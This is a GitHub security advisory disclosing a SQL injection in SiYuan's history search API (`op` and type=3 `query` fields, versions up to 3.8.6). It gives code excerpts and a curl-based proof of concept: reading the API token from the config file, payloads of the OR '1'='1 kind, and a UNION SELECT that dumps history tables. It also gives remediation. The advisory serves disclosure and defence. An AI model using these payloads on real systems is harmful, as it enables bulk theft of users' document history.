https://github.com/siyuan-note/siyuan: SQL injection in history search (`op` and `type=3` query) on `history.db`
What fixes it
No source in this snapshot names a fixed version.
Description
Summary
The history search endpoint concatenates two attacker-controlled fields - op (always) and query (when type=3, "search by doc ID") - into SQL string literals without escaping, and executes the result against history.db with no single-statement/read-only validation. This is a sibling of the recently-fixed SQLi class (GHSA-336w-67gx-gx2h in search, GHSA-5rwv-4j4c-f954 and GHSA-xr4h-j7cg-q8pc in graph) and a gap in the GHSA-67p9-hm94-xwf3 "guard at the raw-SQL sink" fix, which covered the block-query sinks (sql/block_query.go) but not the history sinks.
Details
kernel/model/history.go - buildSearchHistoryQueryFilter (line 812):
case HistoryTypeDocID: // type == 3
stmt += " id = '" + query + "'" // line 820 - query UNESCAPED
...
if op = strings.TrimSpace(op); op != "" && op != "all" {
stmt += " AND op = '" + op + "'" // line 831 - op UNESCAPED
}The query is deliberately left unescaped for type=3 (the stringQuery escape is skipped):
// model/history.go:791-794
query = util.RemoveInvalid(query)
if "" != query && HistoryTypeDocID != typ {
query = stringQuery(query) // skipped when typ == 3
}The sinks execute raw SQL with no guard (contrast sql/block_query.go which now calls checkRawBlockQueryStmt):
// sql/history.go
func QueryHistory(stmt string) ... { rows, err := queryHistory(stmt) ... } // :39
func SelectHistoriesRawStmt(stmt string) ... { rows, err := historyDB.Query(stmt) ... } // :74Entry points (admin-gated, api/router.go:236-237):
POST /api/history/searchHistory(api/history.go:31→model.FullTextSearchHistory)POST /api/history/getHistoryItems(api/history.go:44→model.FullTextSearchHistoryItems)- MCP
historytool (mcp/tools/history.go)
PoC
Verified live against a source-built v3.8.6 kernel (admin token; HistoryType* = 0=DocName, 1=Doc, 2=Asset, 3=DocID, 4=Database).
Step 1: Login and retrieve the token
# a) directly fro the workspace config
TOKEN=$(jq -r '.api.token' <workspace>/ws/conf/conf.json)
# b) remotely via login flow
curl -s -c /tmp/ck.txt -X POST http://127.0.0.1:3806/api/system/loginAuth \
-H 'Content-Type: application/json' -d '{"authCode":"test123"}'
TOKEN=$(curl -s -b /tmp/ck.txt -X POST http://127.0.0.1:3806/api/system/getConf \
-H 'Content-Type: application/json' -d '{}' | jq -r '.data.conf.api.token')
echo "$TOKEN" # => 1ntwkmv0qbnwlgqx
Step 2: Create a notebook + document
NB=$(curl -s -X POST http://127.0.0.1:3806/api/notebook/createNotebook \
-H "Authorization: Token $TOKEN" -H 'Content-Type: application/json' \
-d '{"name":"poc"}' | jq -r '.data.notebook.id')
DOC=$(curl -s -X POST http://127.0.0.1:3806/api/filetree/createDocWithMd \
-H "Authorization: Token $TOKEN" -H 'Content-Type: application/json' \
-d "{\"notebook\":\"$NB\",\"path\":\"/\",\"markdown\":\"# secret\nHISTORY-CANARY-12345\"}" | jq -r '.data')
echo "$NB $DOC"
Step 3: Seed one history entry
curl -s -X POST http://127.0.0.1:3806/api/history/createDocHistory \
-H "Authorization: Token $TOKEN" -H 'Content-Type: application/json' -d "{\"id\":\"$DOC\"}"
curl -s -X POST http://127.0.0.1:3806/api/history/reindexHistory \
-H "Authorization: Token $TOKEN" -H 'Content-Type: application/json' -d '{}'
# confirm
curl -s -X POST http://127.0.0.1:3806/api/history/searchHistory \
-H "Authorization: Token $TOKEN" -H 'Content-Type: application/json' \
-d '{"query":"","notebook":"%","op":"all","type":1,"page":1}' | jq '.data.histories'
Step 4: Exploit #1: op injection
# baseline: op=delete filters out the (op=update) entries
curl -s -X POST http://127.0.0.1:3806/api/history/searchHistory \
-H "Authorization: Token $TOKEN" -H 'Content-Type: application/json' \
-d '{"query":"","notebook":"%","op":"delete","type":1,"page":1}' | jq '.data.totalCount'
# => 0
# inject: op=delete' OR '1'='1
curl -s -X POST http://127.0.0.1:3806/api/history/searchHistory \
-H "Authorization: Token $TOKEN" -H 'Content-Type: application/json' \
-d '{"query":"","notebook":"%","op":"delete\u0027 OR \u00271\u0027=\u00271","type":1,"page":1}' | jq '.data.totalCount'
# => 3 (all history entries leak past the filter)
Step 5: Exploit #2: type=3 query injection
# get the created timestamp first
TS=$(curl -s -X POST http://127.0.0.1:3806/api/history/searchHistory \
-H "Authorization: Token $TOKEN" -H 'Content-Type: application/json' \
-d '{"query":"","notebook":"%","op":"all","type":1,"page":1}' | jq -r '.data.histories[0]')
# baseline: non-matching doc id
curl -s -X POST http://127.0.0.1:3806/api/history/getHistoryItems \
-H "Authorization: Token $TOKEN" -H 'Content-Type: application/json' \
-d "{\"created\":\"$TS\",\"query\":\"00000000000000-xxxxxxx\",\"notebook\":\"%\",\"op\":\"\",\"type\":3}" | jq '.data.items | length'
# => 0
# inject: query=' OR '1'='1 (type=3 skips the stringQuery escape)
curl -s -X POST http://127.0.0.1:3806/api/history/getHistoryItems \
-H "Authorization: Token $TOKEN" -H 'Content-Type: application/json' \
-d "{\"created\":\"$TS\",\"query\":\"\u0027 OR \u00271\u0027=\u00271\",\"notebook\":\"%\",\"op\":\"\",\"type\":3}" | jq '.data.items | length'
# => items leaked
Step 6: UNION SELECT (arbitrary column read)
curl -s -X POST http://127.0.0.1:3806/api/history/getHistoryItems \
-H "Authorization: Token $TOKEN" -H 'Content-Type: application/json' \
-d "{\"created\":\"$TS\",\"query\":\"x\u0027 UNION SELECT id, type, op, title, content, path, created FROM histories_fts_case_insensitive --\",\"notebook\":\"%\",\"op\":\"\",\"type\":3}" | jq '.data.items'Root cause: kernel/model/history.go buildSearchHistoryQueryFilter - AND op = '<op>' (line 831) and id = '<query>' for type=3 (line 820) are concatenated unescaped, then executed via sql.QueryHistory/sql.SelectHistoriesRawStmt with no single-statement/read-only guard.
Impact
SQL injection (read-only) on history.db. Who is impacted: administrators (and any client holding an admin token, e.g. a malicious plugin) can exfiltrate document history - including previously-deleted document content, titles, and paths - in bulk, beyond what the structured history API exposes. The absence of the single-statement/read-only guard that other raw-SQL sinks now enforce means this sink is unhardened against future write/stacking changes.
Remediation: escape op and query (strings.ReplaceAll(v, "'", "''") / stringQuery for all types) in buildSearchHistoryQueryFilter, and add CheckSingleStatement + CheckReadonlyStatement to sql.QueryHistory / sql.SelectHistoriesRawStmt (mirroring the sql/block_query.go fix).
Text from GitHub Advisory Database
Affected versions 1
- https://github.com/siyuan-note/siyuan, go<= 3.8.6GitHub